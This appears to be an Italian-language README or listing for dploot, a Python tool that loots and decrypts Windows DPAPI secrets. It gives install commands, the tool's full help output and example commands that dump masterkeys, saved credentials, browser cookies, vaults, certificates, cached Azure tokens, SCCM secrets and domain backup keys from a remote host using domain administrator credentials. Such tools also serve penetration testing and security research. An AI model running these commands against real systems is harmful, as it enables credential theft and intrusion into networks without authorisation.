
Saccheggia e decifra i segreti DPAPI di Windows da remoto o offline, incluse masterkey, credenziali, vault, certificati, dati del browser e token Azure in cache.
dploot è una riscrittura in Python di SharpDPAPI scritto in C# da Harmj0y, che a sua volta è un port di DPAPI da Mimikatz di gentilkiwi. Implementa tutta la logica DPAPI di questi strumenti, ma questa volta è utilizzabile con un interprete Python e da un ambiente Linux.
Se non sai cos'è DPAPI, dai un'occhiata a questo post.
Puoi installare dploot direttamente da PyPI con pipx:
pipx install git+https://github.com/zblurx/dploot.git
O
pipx install dploot
Su Kali Linux, puoi installare dploot dai repository:
sudo apt install python3-dploot
dploot (https://github.com/zblurx/dploot) v4.0.0 by @_zblurx
usage: dploot [-h]
{backupkey,blob,browser,certificates,cng,credentials,machinecertificates,machinecng,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
...
DPAPI looting in Python
positional arguments:
{backupkey,blob,browser,certificates,cng,credentials,machinecertificates,machinecng,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
Action
backupkey Backup Keys from domain controller
blob Decrypt DPAPI blob. Can fetch masterkeys on target
browser Dump users credentials and cookies saved in browser from local or remote target
certificates Dump users certificates from local or remote target
cng Dump users CNG files blob from local or remote target
credentials Dump users Credential Manager blob from local or remote target
machinecertificates
Dump system certificates from local or remote target
machinecng Dump system CNG files from local or remote target
machinecredentials Dump system credentials from local or remote target
machinemasterkeys Dump system masterkey from local or remote target
machinetriage Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target
machinevaults Dump system vaults from local or remote target
masterkeys Dump users masterkey from local or remote target
mobaxterm Dump Passwords and Credentials from MobaXterm
rdg Dump users saved password information for RDCMan.settings from local or remote target
sccm Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target
triage Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target
vaults Dump users Vaults blob from local or remote target
wam Dump users cached azure tokens from local or remote target
wifi Dump wifi profiles from local or remote target
options:
-h, --help show this help message and exit
dploot v4.0.0+ supporta molteplici protocolli di rete per l'accesso remoto. Il protocollo viene selezionato tramite --protocol <protocol_name>. Ogni protocollo ha capacità e requisiti differenti:
Esempio con il protocollo WMI:
$ dploot masterkeys --protocol wmi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
Esempio con protocollo locale (filesystem offline):
$ dploot masterkeys --protocol local --root /mnt/c_drive -u bob -p Password
Note importanti sul supporto dei comandi:
backupkey funziona solo con il protocollo SMB (richiede l'accesso al domain controller).--dpapi-system-key.dploot può autenticarsi con Kerberos per i protocolli smb, wmi e mssql. Usa -k per abilitare Kerberos con fallback a NTLM. Se vuoi usare un ticket in cache, usa --use-kcache. Per usare una chiave AES, usa --aesKey.
$ dploot masterkeys -d waza.local -u Administrator -k -t 192.168.57.5
L'obiettivo di dploot è semplificare il loot relativo a DPAPI da una macchina Linux. Come si utilizza questo strumento dipende dal proprio livello di accesso e dalla configurazione del target.
Il protocollo predefinito è SMB. Questo è l'approccio più comune per il loot di DPAPI e funziona con la condivisione file standard di Windows:
$ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage ALL USERS masterkeys